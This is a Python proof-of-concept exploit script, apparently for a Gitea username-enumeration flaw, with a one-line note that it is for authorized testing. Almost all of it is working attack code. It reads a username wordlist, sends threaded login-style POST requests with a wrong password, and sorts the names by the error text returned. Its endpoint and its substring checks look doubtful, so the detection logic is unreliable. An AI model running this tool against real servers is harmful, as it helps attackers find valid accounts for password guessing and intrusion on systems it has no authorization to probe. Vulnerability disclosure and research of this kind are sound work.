The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3
"""
CVE-2025-69413 PoC - Gitea User Enumeration
This PoC demonstrates how to enumerate valid usernames in Gitea < 1.25.2
through the /api/v1/user endpoint.
"""
import requests
import sys
from concurrent.futures import ThreadPoolExecutor, as_completed
def check_username(base_url, username):
"""
Check if a username exists by analyzing the response from /api/v1/user
"""
endpoint = f"{base_url.rstrip('/')}/api/v1/user"
# Try authentication with the username and a wrong password
data = {
"user_name": username,
"password": "wrong_password_12345"
}
try:
response = requests.post(endpoint, json=data, timeout=10)
# Analyze response differences
# Valid user: returns specific error about password mismatch
# Invalid user: returns different error about user not found
if response.status_code == 401:
response_text = response.text.lower()
# Check for password-related error (user exists)
if 'password' in response_text or 'authenticator' in response_text:
return {
"username": username,
"exists": True,
"status": "User exists (password mismatch)"
}
# Check for user not found error
elif 'user' in response_text and ('not' in response_text or 'no' in response_text):
return {
"username": username,
"exists": False,
"status": "User does not exist"
}
return {
"username": username,
"exists": None,
"status": "Unknown response"
}
except requests.RequestException as e:
return {
"username": username,
"exists": None,
"status": f"Error: {str(e)}"
}
def main():
if len(sys.argv) < 3:
print(f"Usage: {sys.argv[0]} <target_url> <username_list_file>")
print(f"Example: {sys.argv[0]} http://localhost:3000 usernames.txt")
sys.exit(1)
base_url = sys.argv[1]
wordlist_file = sys.argv[2]
# Read usernames from wordlist
with open(wordlist_file, 'r') as f:
usernames = [line.strip() for line in f if line.strip()]
print(f"[*] Starting user enumeration on {base_url}")
print(f"[*] Testing {len(usernames)} usernames...\n")
valid_users = []
# Use threading for faster enumeration
with ThreadPoolExecutor(max_workers=10) as executor:
futures = {executor.submit(check_username, base_url, user): user for user in usernames}
for future in as_completed(futures):
result = future.result()
if result['exists']:
print(f"[+] Valid user found: {result['username']} - {result['status']}")
valid_users.append(result['username'])
print(f"\n[*] Enumeration complete. Found {len(valid_users)} valid users.")
if valid_users:
print("\n[*] Valid usernames:")
for user in valid_users:
print(f" - {user}")
if __name__ == "__main__":
main()